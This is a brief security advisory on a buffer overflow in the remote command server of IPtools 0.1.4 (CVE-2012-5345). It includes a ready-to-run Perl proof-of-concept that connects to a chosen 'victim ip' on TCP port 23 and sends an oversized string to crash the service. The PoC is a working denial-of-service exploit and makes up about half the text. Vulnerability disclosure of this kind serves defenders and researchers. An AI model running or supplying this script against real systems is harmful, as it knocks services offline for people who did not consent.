|
|
|
Credit:
The information has been provided by demonalex.
|
|
Vulnerable Systems:
* IPtools 0.1.4
Exploiting this vulnerability may allow remote attackers to execute arbitrary code in the context of the affected device. Failed exploit attempts will result in a denial-of-service condition. IPtools is vulnerable to a buffer overflow, caused by improper bounds checking by the remote command server. By sending more than 255 characters to tcp port 23, a remote attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash
Proof of Concept:
#-------------------------------------------------------------
#!/usr/bin/perl -w
#IpTools(0.1.4) - Rcmd Remote Crash PoC by demonalex163.com
#-------------------------------------------------------------
use IO::Socket;
$remote_host = '127.0.0.1'; #victim ip as your wish
$remote_port = 23; #rcmd default port number
$sock = IO::Socket::INET->new(PeerAddr => $remote_host, PeerPort => $remote_port,
Timeout => 60) || die "$remote_host -> $remote_port is closed!\n";
$sock->recv($content, 1000, 0);
$count=0;
while($count<=255){
$sock->send("a", 0);
$count++;
}
$sock->send("\r\n", 0);
$sock->recv($content, 1000, 0);
$sock->shutdown(2);
exit(1);
#-------------------------------------------------------------
CVE Information:
CVE-2012-5345
Disclosure Timeline:
Published: Jan 06 2012
Updated: Jan 06 2012
|
|
|
|